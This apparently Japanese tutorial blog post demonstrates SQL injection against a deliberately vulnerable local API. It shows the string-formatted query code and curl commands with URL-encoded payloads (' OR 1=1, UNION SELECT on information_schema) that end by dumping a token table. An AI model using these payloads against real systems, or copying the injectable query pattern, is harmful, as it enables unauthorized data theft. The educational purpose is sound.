今回はSQLインジェクションの実演を通してそのリスクについて記述していきたいと思います。
今回使用する脆弱性のあるAPIはGitHubに公開しているので、興味のある方は試してみてください。
使用するAPIの説明
今回使用するAPIは以下のエンドポイントで構成されています。
- inject/list
- sensitiveではない一般的に公開しているデータを取得します
- このデータ群を
publicデータ
と呼びます
- inject/list/{name}
- publicデータのうち特定のデータを取得します
- データが存在しない場合、404 Not Foundを返します
- 今回脆弱性のあるエンドポイントです
脆弱性のあるコード
今回の使用する脆弱性のあるコードは、典型的な文字列置換によるものです。
SQLインジェクジョンが推測されにくいよう、エラーハンドリングのみ実施しています。
query = "select name from public where name='{name}' limit 10;"
try:
result = db.execute(query.format(name=name))
res = [item[0] for item in result]
except Exception:
raise request_error
if not res:
raise request_error
return res
APIの準備
脆弱性のあるAPIの準備を行います。
今回は事前に用意したコードを利用するので、クローンして実行するだけで完了です。
APIの実行
git clone https://github.com/fealone/practical-sql-injection-test.git
cd practical-sql-injection-test
docker-compose up --build
データの準備
起動完了後、データの準備を行います。
cd src
./init.sh
動作確認
publicデータの一覧を正常に取得できれば、セットアップ完了です。
- コマンド
curl http://localhost:8000/inject/list
- 結果
["hoge","foo","fuga"]
SQLインジェクションによる攻撃
脆弱性の検証
まず、エンドポイントの脆弱性を検証します。
SQLインジェクションを行うために、まずエンドポイントの検証を行います。
正常なリクエスト
- コマンド
curl http://localhost:8000/inject/list/hoge
- 結果
["hoge"]
URLに入力した hoge
が検証され、レスポンスとして帰ってきているようです。
この hoge
の値を変更する事で、SQLインジェクションを行う事ができないか検証します。
シングルクオートによる脆弱性検証
シングルクオートを注入し、SQLを壊してみます。
- コマンド
curl "http://localhost:8000/inject/list/'"
- 結果
{"detail":"Not found"}
今回エラーハンドリングは行っているので、単純にSQL構文を壊すだけではNot Foundが返され脆弱性の検証が行えないようになっています。
次に、WHERE区による条件指定を行っている事を予測し、すべての値が表示されるように仕組んでみます。
WHERE区による脆弱性の検証
' OR 1=1 -- `
上記SQLを注入し、WHERE区ですべてのレコードがヒットするように仕組んでみます。
URLに組み込む際はURLエンコードを行います。
- コマンド
curl "http://localhost:8000/inject/list/'%20OR%201%3D1%20--%20"
- 結果
["hoge","foo","fuga"]
すべての対象がレスポンスとして帰ってきました。
SQLインジェクションの脆弱性が確認できた事になります。
今回の場合、このテーブルには何も価値がないため、他に価値のあるテーブルを探します。
すべてのテーブルを表示
すべてのテーブルを表示する事で、価値のあるテーブルを探します。
select Table_name from information_schema.tables where table_type = 'BASE TABLE';
上記のSQLを使用するとすべてのテーブルを表示する事が可能になります。
これを注入するだけだと正常なクエリにならないため、 UNION ALL
とコメントアウトを利用し、正常なSQLを組み立てます。
' union all select Table_name from information_schema.tables where table_type = 'BASE TABLE'; -- '
これをURLエンコードし、URLに注入します。
- コマンド
curl "http://localhost:8000/inject/list/'%20union%20all%20select%20Table_name%20as%20TablesName%20from%20information_schema.tables%20where%20table_type%20%3D%20'BASE%20TABLE'%3B%20--%20'"
- 結果
["public","secure"]
secure
といういかにもなテーブル名が帰ってきました。
今回のエンドポイントでは一つの値しかリストとして返す事ができないため、まずは何のカラムが存在するか検証する必要が有ります。
secureテーブルの全カラムを表示
secureテーブルの全カラム名を検索します。
select column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='secure';
上記のSQLを使用する事で secure
テーブルの全カラム名を表示する事ができます。
先程と同じように、これを正常なSQLになるように組み立てます。
' union all select column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='secure'; -- '
組み立てた後、これをURLエンコードしURLに注入します。
- コマンド
curl "http://localhost:8000/inject/list/'%20union%20all%20select%20column_name%20from%20INFORMATION_SCHEMA.COLUMNS%20where%20TABLE_NAME%3D'secure'%3B%20--%20"
- 結果
["token"]
token
というカラムが存在する事がわかりました。secure
テーブルの token
をすべて取得する事で、これを利用した次の攻撃を仕掛ける事が可能になると予想できます。
全トークンの表示
次の攻撃に向けて、全トークンを取得します。
select token from secure;
上記のSQL使用して secure
テーブルの token
を列挙します。
例により、これを正常なSQLになるように組み立てます。
' union all select token from secure; -- '
このSQLをURLエンコードしURLに注入します。
- コマンド
curl "http://localhost:8000/inject/list/'%20union%20all%20select%20token%20from%20secure%3B%20--%20"
- 結果
["c2dbf691-4275-47a5-a392-c64aa7fa3c2d","f4d78ea1-ded7-436e-8c89-984b93552d91","442744cc-62cb-41a5-b3b4-6bc90d9c5951"]
全トークンを列挙する事ができました。
おわりに
実際にSQLインジェクションを使用して価値のある情報を抜き出す演習を行ってみました。
今回用意した token
には何も意味がありませんが、これが本番サービスだった場合などは全顧客に成りすませたり、他のテーブルを検索する事でより重要なデータを取得される可能性が有ります。
SQLを文字列置換するとSQLインジェクションの可能性がある、という事は当たり前の知識として認識されていると思いますが、実際にどういうリスクがあるかを知らない人は多いと思います。
今回はそれを実演する事でそのリスクを検証してみました。
今後、機会があればこのような脆弱性のあるAPIを用意したCTFサーバを作成してみようと思います。